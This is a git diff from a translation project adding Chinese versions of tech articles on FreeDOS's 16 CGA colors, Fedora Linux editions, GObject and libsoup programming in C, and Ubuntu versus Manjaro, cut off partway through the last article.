https://moodle.org/plugins/mod_customcert +[13]: https://moodle.com/getstarted/ diff --git a/published/202209/20210617 Why FreeDOS has 16 colors.md b/published/202209/20210617 Why FreeDOS has 16 colors.md new file mode 100644 index 0000000000..c7cfd3d318 --- /dev/null +++ b/published/202209/20210617 Why FreeDOS has 16 colors.md @@ -0,0 +1,161 @@ +[#]: subject: (Why FreeDOS has 16 colors) +[#]: via: (https://opensource.com/article/21/6/freedos-sixteen-colors) +[#]: author: (Jim Hall https://opensource.com/users/jim-hall) +[#]: collector: (lujun9972) +[#]: translator: (gpchn) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-15054-1.html) + +FreeDOS 的 16 种颜色的由来 +====== + +> 为什么文本只能使用这些有限的颜色显示,为什么 FreeDOS 使用这些颜色和阴影,而不是其他颜色?答案就像技术中的许多事情一样,历史原因。 + +![](https://img.linux.net.cn/data/attachment/album/202209/21/171602vhhj99xkxshxbbvk.jpg) + +如果你仔细了解过 FreeDOS,你可能已经注意到文本使用有限的颜色范围 —— 16 种文本颜色和 8 种背景颜色。这类似于 Linux 显示文本颜色的方式 —— 你或许能够在 Linux 终端中更改 _文本颜色_,但你仍然只能使用 16 种文本颜色和 8 种背景颜色。 + +![终端颜色][2] + +*DOS 文本有 16 种颜色和 8 种背景颜色(吉姆·霍尔,[CC-BY SA 4.0][3])* + +为什么文本只能使用这些有限的颜色显示,为什么 FreeDOS 使用这些颜色和阴影,而不是其他颜色? + +答案就像技术中的许多事情一样,历史原因。 + +### PC 色彩的由来 + +为了解释为什么文本只有 16 种颜色,让我给你讲一个关于第一台 IBM 个人计算机的故事。这个故事的部分内容可能有些杜撰,但基本内容已经足够接近。 + +IBM 于 1981 年发布了个人计算机Personal Computer 5150(“IBM PC”)。该 PC 使用了一个简单的监视器屏幕,以绿色显示文本。由于此显示器仅适用于一种颜色,因此被称为 单色monochrome(“IBM 5151 单色显示器”,搭载 IBM 单色显示适配器Monochrome Display Adapter,即 MDA)。 + +同年,IBM 发布了 PC 的更新版本,带来了惊人的技术成就 —— 颜色!新的 IBM 5153 彩色显示器依赖于新的 IBM 彩色图形适配器Color Graphics Adapter(CGA)。正是由于这个原始的 CGA,所有的 DOS 文本都继承了它们的颜色。 + +但在我们讨论那一部分之前,我们首先需要了解一些关于颜色的东西。当我们谈论计算机屏幕上的颜色时,我们谈论的是混合 _三原色_(红色、绿色和蓝色)的不同值。你可以将不同级别(“亮度”)的红光、绿光和蓝光混合在一起,以创建几乎任何颜色。混合红色和蓝色光,你会得到洋红色。混合蓝色和绿色,你会得到青色或浅绿色。均匀地混合所有颜色,你会得到白色。没有任何浅色,你会看到黑色(没有颜色)。 + +![三原色][4] + +*混合红色、绿色和蓝色光以获得不同的颜色(吉姆·霍尔,[CC-BY SA 4.0][3])* + +IBM 5153 彩色显示器通过在阴极射线管cathode ray tube(CRT)上点亮微小的红色、绿色和蓝色光点来向用户呈现颜色。这些小点排列得非常紧密,并以红色、绿色和蓝色的三色点组成一个“像素”的模式排列。通过控制同时点亮哪些荧光点,IBM 5153 彩色显示器可以显示不同颜色的像素。 + +![CRT 像素][5] + +*每个红色、绿色和蓝色三元组都是一个像素(吉姆·霍尔,[CC-BY SA 4.0][3])* + +顺便说一句,即使是现代显示器也使用这种红色、绿色和蓝色点的组合来表示颜色。现代计算机的不同之处在于,每个像素都使用红色、绿色和蓝色 LED 灯(通常并排排列),而不是微小的荧光点。计算机可以打开或关闭每个 LED 灯,以混合每个像素中的红色、绿色和蓝色。 + +![液晶像素][6] + +*每个红色、绿色和蓝色三元组都是一个像素(吉姆·霍尔,[CC-BY SA 4.0][3])* + +### 定义 CGA 颜色 + +IBM 工程师意识到他们可以通过混合红色、绿色和蓝色像素来显示多种颜色。在最简单的情况下,你可以假设单个像素中的每个红色、绿色和蓝色点要么“开”,要么“关”。正如任何计算机程序员都会告诉你的那样,你可以将“开”和“关”表示为二进制 —— 1(1 = 开)和 0(0 = 关)。 + +用 1 或 0 表示红色、绿色和蓝色意味着你可以组合多达八种颜色,从 000(红色、绿色和蓝色都关闭)到 111(红色、绿色和蓝色都打开)。请注意,位模式类似于“RGB”,因此 RGB=001 是蓝色的(只有蓝色是打开的),RGB=011 是青色的(绿色和蓝色都打开了): + +| 颜色 | 代码 | 名称 | +| --- | --- | --- | +|   | 000 | 黑 | +|   | 001 | 蓝 | +|   | 010 | 绿 | +|   | 011 | 青 | +|   | 100 | 红 | +|   | 101 | 洋红 | +|   | 110 | 黄 | +|   | 111 | 白 | + +但这只是最简单的情况。一位特别聪明的 IBM 工程师意识到,只需再添加一点,你就可以将颜色数量从 8 种颜色增加到 16 种。因此,我们可以使用像 iRGB 这样的位模式,而不是像 RGB 这样的位模式。我们将把这个额外的“i”位称为“强度”位,因为如果我们将“强度”位设置为 1(开),那么我们将在全亮度下点亮红色、绿色和蓝色;如果“强度”位为 0(关闭),我们可以使用一些中级亮度。 + +有了这个简单的修复程序,现在 CGA 可以显示 16 种颜色!为了简单起见,IBM 工程师将高强度颜色称为常规颜色名称的“明亮”版本。因此,“红色”与“亮红色”配对,“洋红色”与“亮洋红色”配对。 + +| 颜色 | 代码 | 名称 | 颜色 | 代码 | 名称 | +| :----: | :----: | :----: | :----: | :----: | :----: | +|   | 0000 | 黑 |   | 1000 | 亮黑 | +|   | 0001 | 蓝 |   | 1001 | 亮蓝 | +|   | 0010 | 绿 |   | 1010 | 亮绿 | +|   | 0011 | 青 |   | 1011 | 亮青 | +|   | 0100 | 红 |   | 1100 | 亮红 | +|   | 0101 | 洋红 |   | 1101 | 亮洋红 | +|   | 0110 | 黄 |   | 1110 | 亮黄 | +|   | 0111 | 白 |   | 1111 | 亮白 | + +哦不,等等!这实际上不是十六种颜色。如果你注意到 iRGB=0000(黑色)和 iRGB=1000(亮黑色),它们都是相同的 _黑色_。没有颜色可以“亮”,所以它们都是普通的黑色。这意味着我们只有 15 种颜色,而不是我们希望的 16 种颜色。 + +但 IBM 有聪明的工程师为他们工作,他们意识到如何解决这个问题以获得 16 种颜色。IBM 实际上没有实现直接的 RGB 到 iRGB,而是实现了 _类_ iRGB 方案。随着这一变化,IBM 为每个光点设置了四个亮度级别:完全关闭、三分之一亮度、三分之二亮度和全亮度。如果“亮度”位被关闭,那么每个红色、绿色和蓝色光点将以三分之二的亮度点亮。如果你打开“亮度”位,RGB 颜色中的所有 0 都将以三分之一的亮度点亮,而所有 1 都将以全亮度点亮。 + +让我用另一种方式向你描述这一点,使用 Web 颜色代码表示。如果你熟悉 HTML 颜色,你可能知道你可以使用 `#RGB` 表示颜色,其中 RGB 表示红色、绿色和蓝色值的组合,每个值都在十六进制值 0 到 F 之间。因此,使用 IBM 修改后的 iRGB 定义,iRGB=0001 是 #00a(蓝色),iRGB=1001 是 #55f(亮蓝色),因为对于高亮度颜色,RGB=001 中的所有零点都以三分之一的亮度点亮(0 到 F 刻度上的“5”左右),RGB=001 中的所有零点都以三分之二的亮度点亮(0 到 F刻度上的“A”)。 + +| 颜色 | 代码 | 名称 | 颜色 | 代码 | 名称 | +| :----: | :----: | :----: | :----: | :----: | :----: | +|   | 0000 | 黑 |   | 1000 | 亮黑 | +|   | 0001 | 蓝 |   | 1001 | 亮蓝 | +|   | 0010 | 绿 |   | 1010 | 亮绿 | +|   | 0011 | 青 |   | 1011 | 亮青 | +|   | 0100 | 红 |   | 1100 | 亮红 | +|   | 0101 | 洋红 |   | 1101 | 亮洋红 | +|   | 0110 | 黄 |   | 1110 | 亮黄 | +|   | 0111 | 白 |   | 1111 | 亮白 | + +有了这些颜色,我们终于完成了!我们拥有从 iRGB=0000(黑色)到 iRGB=1111(亮白色)以及介于两者之间的所有颜色的全光谱。就像彩虹般的颜色,这很漂亮。 + +除了……不,等等,这里有问题!我们实际上还不能复制彩虹的所有颜色。我们在小学学到的方便的助记符是 ROYGBIV,它可以帮助我们记住彩虹的颜色有红色、橙色、黄色、绿色、蓝色、靛蓝和紫色。我们修改后的 iRGB 配色方案包括红色、黄色、绿色和蓝色——我们可以将其“伪造”为靛蓝和紫色,但是我们缺少橙色。遭了! + +![彩虹][7] + +*一条美丽的彩虹——不幸的是它含有橙色。([Paweł Fijałkowski][8],公共)* + +为了解决这个问题,聪明的 IBM 工程师对 RGB=110 做了最后的修复。高强度颜色(iRGB=1110)以全亮度点亮红色和绿色荧光粉点以产生黄色,但是在低亮度颜色(iRGB=0110)下,他们以三分之二的亮度点亮红色,以三分之一的亮度点亮绿色。这将 iRGB=0110 变成了橙色——尽管它后来被称为“棕色”,因为 IBM 不得不在某处弄乱标准名称。 + +| 颜色 | 代码 | 名称 | 颜色 | 代码 | 名称 | +| :----: | :----: | :----: | :----: | :----: | :----: | +|   | 0000 | 黑 |   | 1000 | 亮黑 | +|   | 0001 | 蓝 |   | 1001 | 亮蓝 | +|   | 0010 | 绿 |   | 1010 | 亮绿 | +|   | 0011 | 青 |   | 1011 | 亮青 | +|   | 0100 | 红 |   | 1100 | 亮红 | +|   | 0101 | 洋红 |   | 1101 | 亮洋红 | +|   | **0110** | **棕** |   | 1110 | 黄 | +|   | 0111 | 白 |   | 1111 | 亮白 | + +这就是 CGA 以及扩展的 DOS 获得十六种颜色的方式!如果你好奇,这也是为什么会有“亮黑色”的原因,即使它只是一种灰色阴影。 + +### 表示颜色(位和字节) + +但是你可能想知道:为什么 DOS 可以显示 16 种文本颜色,却只能显示 8 种背景颜色?为此,我们需要快速了解计算机如何将颜色信息传递给 CGA 卡。 + +简而言之,CGA 卡希望将每个字符的文本颜色和背景颜色编码在一个字节数据包中,一共八位。那么八位是从哪里来的呢? + +我们刚刚了解了 iRGB(四位)如何生成十六种颜色。文本颜色使用 iRGB ,四位,背景颜色仅限于八种低强度颜色(RGB,三位),加起来只有七位。丢失的第八位在哪里? + +最后一个位可能是为 DOS 时代最重要的用户界面元素保留的 —— 闪烁文本。虽然闪烁的文本在如今可能很烦人,但在整个 1980 年代初期,闪烁的文本是表示错误消息等关键信息的友好方式。 + +将这个“闪烁”位添加到三个背景颜色位(RGB)和四个文本颜色位(iRGB)中会产生八个位或一个字节!计算机喜欢以完整字节为单位进行计数,这使其成为将颜色(和闪烁)信息传输到计算机的便捷方式。 + +因此,表示颜色(和闪烁)的完整字节是 `Bbbbffff`,其中 `ffff` 是文本颜色的 iRGB 位模式(从 0 到 15),`bbb` 是低强度的 RGB 位模式背景颜色(从 0 到 7),而 `B` 是“闪烁”位。 + +十六种文本颜色和八种背景颜色的限制一直持续到今天。当然,DOS 坚持使用这种颜色组合,但即使是像 GNOME 终端这样的 Linux 终端仿真器也仍然受限于 16 种文本颜色和 8 种背景颜色。当然,Linux 终端可能允许你更改使用的特定颜色,但你仍然限于十六种文本颜色和八种背景颜色。为此,你要感谢 DOS 和最初的 IBM PC。别客气! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/6/freedos-sixteen-colors + +作者:[Jim Hall][a] +选题:[lujun9972][b] +译者:[gpchn](https://github.com/gpchn) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/1980s-computer-yearbook.png?itok=eGOYEKK- (Person typing on a 1980's computer) +[2]: https://opensource.com/sites/default/files/uploads/16colors.png (DOS text comes in 16 colors and 8 background colors) +[3]: https://creativecommons.org/licenses/by-sa/4.0/ +[4]: https://opensource.com/sites/default/files/uploads/rgb.svg_.png (Mix red, green, and blue light to get different colors) +[5]: https://opensource.com/sites/default/files/uploads/crt.svg_.png (Each red, green, and blue triad is a single pixel) +[6]: https://opensource.com/sites/default/files/uploads/lcd.svg_.png (Each red, green, and blue triad is a single pixel) +[7]: https://opensource.com/sites/default/files/uploads/rainbow.jpg (A beautiful rainbow - which unfortunately contains orange ) +[8]: https://www.pexels.com/photo/landscape-photography-of-field-with-wind-mill-with-rainbow-1253748/ diff --git a/published/202209/20211203 Introduce the different Fedora Linux editions.md b/published/202209/20211203 Introduce the different Fedora Linux editions.md new file mode 100644 index 0000000000..fcd24a192f --- /dev/null +++ b/published/202209/20211203 Introduce the different Fedora Linux editions.md @@ -0,0 +1,91 @@ +[#]: subject: "Introduce the different Fedora Linux editions" +[#]: via: "https://fedoramagazine.org/introduce-the-different-fedora-linux-editions/" +[#]: author: "Arman Arisman https://fedoramagazine.org/author/armanwu/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15003-1.html" + +Fedora Linux 的各种版本 +====== + +![Introduce the differenct Fedora Linux editions][1] + +我们在使用 Fedora Linux 时有不同的偏好。例如,有些人选择 Fedora Linux,是因为 Fedora Workstation 默认使用 GNOME 作为其桌面环境。但也有一些人想使用 Fedora Linux 但想使用不同的桌面环境。或者也有一些人使用 Fedora Linux 有特定的需求,但不想被系统配置和应用安装所困扰。甚至有些人想根据自己的需要自由安装 Fedora Linux。因此 Fedora Linux 根据你的需要提供了多个版本。本文将介绍不同的 Fedora Linux 版本。 + +### Fedora 官方版本 + +我们从 Fedora Linux 的 官方版本Edition 开始,即 Fedora Workstation、Fedora Server 和 Fedora IoT。 Fedora Workstation 是 Fedora Linux 的官方版本,可以安装在笔记本电脑和台式电脑上。此版本附带 GNOME 作为默认桌面环境和各种标准应用,因此 Fedora Linux 已为日常使用做好准备。而 Fedora Server 专门用于服务器用途,提供邮件服务器、DNS 等的安装。最后一个是 Fedora IoT,用于物联网和边缘设备生态系统。 + +在 Fedora 项目网站主页上,你可以找到另外两个版本:Fedora CoreOS 和 Fedora Silverblue。Fedora CoreOS 是一个自动更新的操作系统,旨在安全、大规模地运行容器化工作负载。而 Fedora Silverblue 是一个不可变的桌面操作系统,旨在支持以容器为中心的工作流。 + +![Introduce the different Fedora Linux editions: Fedora Workstation][4] + +更多信息可在此链接获得: + +> **[https://getfedora.org/][5]** + +### Fedora 定制版:可选桌面 + +Fedora 定制版Spin 很受那些非常在意桌面外观的人的欢迎。大多数人都知道 Fedora Linux 只有 GNOME 作为默认桌面环境。即使你真的想使用 GNOME 以外的桌面环境,也有几个替代桌面选项。使用 Fedora 定制版,你可以在安装 Fedora Linux 时立即获得你最喜欢的桌面环境。你可以从 KDE Plasma、XFCE、LXQt、MATE、Cinnamon、LXDE 和 SoaS 中进行选择。此外,对于喜欢平铺窗口管理器的人,Fedora Linux 还提供了 Fedora i3 定制版,其中 i3 作为默认窗口管理器,并附带了几个标准应用。 + +![Introduce the different Fedora Linux editions: Fedora Plasma][6] + +![Introduce the different Fedora Linux editions: Fedora Cinnamon][7] + +更多信息可在此链接获得: + +> **[https://spins.fedoraproject.org/][8]** + +### Fedora 实验室:功能包 + +Fedora 实验室Lab 是根据特定需求打包的 Fedora Linux 软件包集合。因此,这些版本的安装包都根据其功能提供了应用和必要的内容。Fedora 实验室提供多种软件包选择,例如天文学Astronomy计算神经学Comp Neuro设计套件Design Suite游戏Games、JAM、Python 教室Python Classroom安全实验室Security Lab机器人套件Robotics Suite科学Scientific。如果你想使用 Fedora Linux 进行设计工作,那么设计套件是你的正确选择。但是如果你喜欢玩游戏,你可以选择游戏版。 + +![Introduce the different Fedora Linux editions: Fedora Design Suite][9] + +![Introduce the different Fedora Linux editions: Fedora Games][10] + +更多信息可在此链接获得: + +> **[https://labs.fedoraproject.org/][11]** + +### Fedora 的其它下载 + +Fedora 的其它下载Alt Download 集合了特定目的的可选 Fedora Linux 安装程序,例如用于测试或用于特定架构。还有其他可选格式,例如网络安装程序或种子下载等格式。在这里你可以找到网络安装程序Network Installer种子下载Torrent Downloads可选架构Alternative Architectures云基础镜像Cloud Base Images所有内容Everything测试镜像Testing Images 和 Rawhide。 + +更多信息可在此链接获得: + +> **[https://alt.fedoraproject.org/][12]** + +### 总结 + +你可以自由选择适合你偏好的 Fedora Linux 版本,而不是官方版本。但是,如果你想获得具有各种桌面外观的 Fedora Linux,那么 Fedora 定制版适合你。如果你希望 Fedora Linux 根据你的需要包含应用和软件包,你可以选择 Fedora 实验室。但是,如果你是专家并且想要更自由地安装 Fedora Linux,你可以在 Fedora 其它下载处浏览替代选项。希望本文可以帮助你选择合适的 Fedora Linux,并请在评论中分享你使用 Fedora Linux 的经验。 + +(题图由 [Frédéric Perez][2] 发布在 [Unsplash][3]) + +-------------------------------------------------------------------------------- + +via: https://fedoramagazine.org/introduce-the-different-fedora-linux-editions/ + +作者:[Arman Arisman][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://fedoramagazine.org/author/armanwu/ +[b]: https://github.com/lkxed +[1]: https://fedoramagazine.org/wp-content/uploads/2021/11/FedoraMagz-FedoraEditions-Intro-816x345.png +[2]: https://unsplash.com/@fredericp?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[3]: https://unsplash.com/s/photos/blue-abstract?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[4]: https://fedoramagazine.org/wp-content/uploads/2021/11/g-monitor-overview.png +[5]: https://getfedora.org/ +[6]: https://fedoramagazine.org/wp-content/uploads/2021/11/screenshot-kde-1024x640.jpg +[7]: https://fedoramagazine.org/wp-content/uploads/2021/11/screenshot-cinnamon-1024x576.jpg +[8]: https://spins.fedoraproject.org/ +[9]: https://fedoramagazine.org/wp-content/uploads/2021/11/Fedora-Design-1024x792.png +[10]: https://fedoramagazine.org/wp-content/uploads/2021/11/Fedora-Games-1024x792.png +[11]: https://labs.fedoraproject.org/ +[12]: https://alt.fedoraproject.org/ diff --git a/sources/tech/20220505 Boost the power of C with these open source libraries.md b/published/202209/20220505 Boost the power of C with these open source libraries.md similarity index 57% rename from sources/tech/20220505 Boost the power of C with these open source libraries.md rename to published/202209/20220505 Boost the power of C with these open source libraries.md index 96a806a4f4..22ebb3c779 100644 --- a/sources/tech/20220505 Boost the power of C with these open source libraries.md +++ b/published/202209/20220505 Boost the power of C with these open source libraries.md @@ -2,45 +2,44 @@ [#]: via: "https://opensource.com/article/22/5/libsoup-gobject-c" [#]: author: "Joël Krähemann https://opensource.com/users/joel2001k" [#]: collector: "lkxed" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " +[#]: translator: "Donkey-Hao" +[#]: reviewer: " wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15065-1.html" -Boost the power of C with these open source libraries +使用开源库 GObject 和 libsoup 提升 C 语言编程能力 ====== -GObject and libsoup do a lot of work for you, so you can turn your attention to inventing amazing applications in C. -![Why and how to handle exceptions in Python Flask][1] -(Image by: Image from Unsplash.com, Creative Commons Zero) +![](https://img.linux.net.cn/data/attachment/album/202209/24/145218s1s1xk6s1mm2kg1x.jpg) -The [GLib Object System (GObject)][2] is a library providing a flexible and extensible object-oriented framework for C. In this article, I demonstrate using the 2.4 version of the library. +> 开源库 GObject 和 libsoup 做了很多工作,因此你可以专注于使用 C 语言开发神奇的应用。 +[GLib 对象系统][2]Object System(GObject)是一个为 C 语言提供灵活且可扩展的面向对象框架的库。在这篇文章中,我将使用该库的 2.4 版本进行演示。 -The GObject libraries extend the ANSI C standard, with typedefs for common types such as: +GObject 库继承了 ANSI C 标准,拥有一些常见的数据类型,例如: -* gchar: a character type -* guchar: an unsigned character type -* gunichar: a fixed 32 bit width unichar type -* gboolean: a boolean type -* gint8, gint16, gint32, gint64: 8, 16, 32, and 64 bit integers -* guint8, guint16, guint32, guint64: unsigned 8, 16, 32, and 64 bit integers -* gfloat: an IEEE Standard 754 single precision floating point number -* gdouble: an IEEE Standard 754 double precision floating point number -* gpointer: a generic pointer type +* `gchar`:字符型 +* `guchar`:无符号字符型 +* `gunichar`:32 位定宽 Unicode 字符型 +* `gboolean`:布尔型 +* `gint8`、`gint16`、`gint32`、`gint64`:有符号 8、16、32 和 64 位整数 +* `guint8`、`guint16`、`guint32`、`guint64`:无符号 8、16、32 和 64 位整数 +* `gfloat`:IEEE 754 标准单精度浮点数 +* `gdouble`:IEEE 754 标准双精度浮点数 +* `gpointer`:泛指针 -### Function pointers +### 函数指针 -GObject also introduces a type and object system with classes and interfaces. This is possible because the ANSI C language understands function pointers. +GObject 库还引入了类和接口的类型和对象体系。之所以可以,是因为 ANSI C 语言可以理解函数指针。 -To declare a function pointer, you can do this: +你可以这样做来声明函数指针: -```c +``` void (*my_callback)(gpointer data); ``` -But first, you need to assign the `my_callback` variable: +首先,你需要给变量 `my_callback` 赋值: -```c +``` void my_callback_func(gpointer data) {   //do something @@ -49,21 +48,21 @@ void my_callback_func(gpointer data) my_callback = my_callback_func; ``` -The function pointer `my_callback` can be invoked like this: +函数指针 `my_callback` 可以这样来调用: -```c +``` gpointer data; data = g_malloc(512 * sizeof(gint16)); my_callback(data); ``` -### Object classes +### 对象类 -The GObject base class consists of 2 structs (`GObject` and `GObjectClass` ) which you inherit to implement your very own objects. +`GObject` 基类由 2 个结构(`GObject` 和 `GObjectClass`)组成,你可以继承它们以实现你自己的对象。 -You embed GObject and GObjectClass as the first struct field: +你需要在结构体中先嵌入 `GObject` 和 `GObjectClass`: -```c +``` struct _MyObject {   GObject gobject; @@ -79,11 +78,11 @@ struct _MyObjectClass GType my_object_get_type(void); ``` -The object’s implementation contains fields, which might be exposed as properties. GObject provides a solution to private fields, too. This is actually a struct in the C source file, instead of the header file. The class usually contains function pointers only. +对象的实现包含了公有成员。GObject 也提供了私有成员的方法。这实际上是 C 源文件中的一个结构,而不是在头文件。该类通常只包含函数指针。 -An interface can’t be derived from another interface and is implemented as following: +一个接口不能派生自另一个接口,比如: -```c +``` struct _MyInterface {   GInterface ginterface; @@ -91,9 +90,9 @@ struct _MyInterface }; ``` -Properties are accessed by `g_object_get()` and `g_object_set()` function calls. To get a property, you must provide the return location of the specific type. It’s recommended that you initialize the return location first: +通过调用 `g_object_get()` 和 `g_object_set()` 函数来访问属性。若要获取属性,你必须提供特定类型的返回位置。建议先初始化返回位置: -```c +``` gchar *str str = NULL; @@ -103,19 +102,21 @@ g_object_get(gobject,   NULL); ``` -Or you might want to set the property: +或者你想要设置属性: -```c +``` g_object_set(gobject,   "my-name", "Anderson",   NULL); ``` -### The libsoup HTTP library +### libsoup HTTP 库 -The `libsoup` project provides an HTTP client and server library for GNOME. It uses GObjects and the glib main loop to integrate with GNOME applications, and also has a synchronous API for use in command-line tools. First, create a `libsoup` session with an authentication callback specified. You can also make use of cookies. +`libsoup` 项目为 GNOME 提供了 HTTP 客服端和服务端使用的库。它使用 GObjects 和 glib 主循环与集成到 GNOME 应用,并且还具有用于命令行的同步 API。 -```c +首先,创建一个特定身份验证回调的 `libsoup` 会话。你也可以使用 cookie。 + +``` SoupSession *soup_session; SoupCookieJar *jar; @@ -131,9 +132,9 @@ g_signal_connect(soup_session, "authenticate",   G_CALLBACK(my_authenticate_callback), NULL); ``` -Then you can create a HTTP GET request like the following: +然后你可以像这样创建一个 HTTP GET 请求: -```c +``` SoupMessage *msg; SoupMessageHeaders *response_headers; SoupMessageBody *response_body; @@ -176,11 +177,11 @@ if(status == 200){ } ``` -The authentication callback is called as the web server asks for authentication. +当网络服务器进行身份认证时,会调用身份认证回调函数。 -Here’s a function signature: +这是一个函数签名: -```c +``` #define MY_AUTHENTICATE_LOGIN "my-username" #define MY_AUTHENTICATE_PASSWORD "my-password" @@ -197,13 +198,13 @@ void my_authenticate_callback(SoupSession *session, } ``` -### A libsoup server +### 一个 libsoup 服务器 -For basic HTTP authentication to work, you must specify a callback and server context path. Then you add a handler with another callback. +想要基础的 HTTP 身份认证能够运行,你需要指定回调函数和服务器上下文路径。然后再添加一个带有另一个回调的处理程序。 -This example listens to any IPv4 address on localhost port 8080: +下面这个例子展示了在 8080 端口监听任何 IPv4 地址的消息: -```c +``` SoupServer *soup_server; SoupAuthDomain *auth_domain; GSocket *ip4_socket; @@ -245,11 +246,11 @@ soup_server_listen_socket(soup_server,   ip4_socket, 0, &error); ``` -In this example code, there are two callbacks. One handles authentication, and the other handles the request itself. +示例代码中,有两个回调函数。一个处理身份认证,另一个处理对它的请求。 -Suppose you want a web server to allow a login with the credentials username **my-username** and the password **my-password**, and to set a session cookie with a random unique user ID (UUID) string. +假设你想要网页服务器允许用户名为 `my-username` 和口令为 `my-password` 的凭证登录,并且用一个随机且唯一的用户 ID 字符串设置会话 cookie。 -```c +``` gboolean my_xmlrpc_server_auth_callback(SoupAuthDomain *domain,   SoupMessage *msg,   const char *username, @@ -284,9 +285,9 @@ gboolean my_xmlrpc_server_auth_callback(SoupAuthDomain *domain, } ``` -A handler for the context path **my-xmlrpc**: +对上下文路径 `my-xmlrpc` 进行处理的函数: -```c +``` void my_xmlrpc_server_callback(SoupServer *soup_server,   SoupMessage *msg,   const char *path, @@ -300,9 +301,9 @@ void my_xmlrpc_server_callback(SoupServer *soup_server, } ``` -### A more powerful C +### 更加强大的 C 语言 -I hope my examples show how the GObject and libsoup projects give C a very real boost. Libraries like these extend C in a literal sense, and by doing so they make C more approachable. They do a lot of work for you, so you can turn your attention to inventing amazing applications in the simple, direct, and timeless C language. +希望我的示例展现了 GObject 和 libsoup 项目给 C 语言带来了真正的提升。像这样在字面意义上扩展 C 语言,可以使 C 语言更易于使用。它们已经为你做了许多工作,这样你可以专注于用 C 语言开发简单、直接的应用程序了。 -------------------------------------------------------------------------------- @@ -310,8 +311,8 @@ via: https://opensource.com/article/22/5/libsoup-gobject-c 作者:[Joël Krähemann][a] 选题:[lkxed][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) +译者:[Donkey-Hao](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 diff --git a/published/202209/20220520 Ubuntu vs Manjaro- Comparing the Different Linux Experiences.md b/published/202209/20220520 Ubuntu vs Manjaro- Comparing the Different Linux Experiences.md new file mode 100644 index 0000000000..e4cdca4cee --- /dev/null +++ b/published/202209/20220520 Ubuntu vs Manjaro- Comparing the Different Linux Experiences.md @@ -0,0 +1,209 @@ +[#]: subject: "Ubuntu vs Manjaro: Comparing the Different Linux Experiences" +[#]: via: "https://itsfoss.com/ubuntu-vs-manjaro/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "Return7g" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15006-1.html" + +Ubuntu 和 Manjaro:比较两种不同的 Linux 发行版体验 +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/06/215515o89v2xu8v05rv759.jpg) + +Ubuntu 是基于 Debian 最流行的桌面和服务器 Linux 发行版。 + +Manjaro 是基于 Arch 量身定制的 Linux 发行版。 + +两者在用户体验以及功能上都大相径庭。 + +然而,将 Manjaro 的 GNOME 版和 Ubuntu 放到一起比较时,其中一个共同点是 [桌面环境][1]。 + +但它们到底有什么不同?Manjaro 的包管理器会更好用吗?Ubuntu 和 Manjaro 上的软件生态怎么样? + +接下来,我们来看看两个 Linux 发行版在某些关键问题上的差异。 + +### 发行周期 + +Ubuntu 根据你选择的版本不同提供了两个发行周期。如果你选择的是长期支持版本Long Term Support(LTS),那么你在至少未来五年内都会收到安全维护更新。 + +假如你安装了 Ubuntu 22.04 ,那么你在 **2027 年 4 月** 之前都能获取更新。 + +![ubuntu22 04 lts about][2] + +因此,我们更推荐普通桌面用户使用 LTS 版本。 + +如果你想要更新更好的体验,你可以选择每**九个月**更新一次的非 LTS 版本。例如 Ubuntu 21.04、 Ubuntu 21.10、Ubuntu 22.10。 + +需要注意的是,非 LTS 版本涉及的更改可能会影响你的工作流程以及用户体验。因此并不推荐所有人都去使用非 LTS 版本。 + +选择 Manjaro Linux 时你将会获得滚动发布的更新,因此你不必担心对你使用版本的支持过期。它会通过定期更新升级到最新的可用版本。 + +![manjaro about][3] + +由于滚动发行周期的原因,你可以快速获取到最新的软件包。因此如果你想使用某个软件的历史版本,Manjaro 或许并不适合你。 + +### 桌面环境 + +Ubuntu 特别提供了一个定制版的 GNOME 桌面。它可能不是最新的,但如果你使用较新的 Ubuntu 版本,它基本上包含的就是最新的 GNOME 桌面环境。 + +![ubuntu 22 04 wallpaper][4] + +Canonical(Ubuntu 背后的公司)并不提供其它桌面环境。 + +但如果你想在 Ubuntu 上使用其它桌面环境,你可以选择包含了 KDE、Budgie、LXQt、MATE 以及 XFCE 等桌面环境的 Ubuntu 官方 [风味版][5]Flavour。与提供了其他桌面环境的非官方版或更新的特色版Spin的 Ubuntu 相比,它们是经过良好测试且稳定的 Ubuntu Linux 发行版。 + +但是这些 Ubuntu 风味版没有五年的软件支持;相反,你只能受限地得到对 LTS 版本的三年支持。 + +如果使用 Manjaro,你可以选择官方提供的三个版本:XFCE、KDE 和 GNOME。 无论桌面环境如何,你都会使用滚动发布模式。 + +![manjaro gnome 42][6] + +当然你也可以使用 Manjaro 的一些社区版本,如 Budgie、MATE、LXQt。 + +### 包管理器以及软件生态 + +在上述这两类发行版中,找到大多数必要的 Linux 应用是没问题的。 + +不过,Manjaro Linux 使用 Pamac 作为其包管理器而获得了更快速的体验。 + +![manjaro package manager][8] + +与 Ubuntu 上的应用商店相比,Manjaro Linux 在快速安装/更新软件方面提供了更好的体验。而且,它还支持开箱即用的 Flatpak/Snap,如果你只需一键即可启用它们。 + +Ubuntu 比较重视 Snap 软件包,你会发现一些应用程序预装为 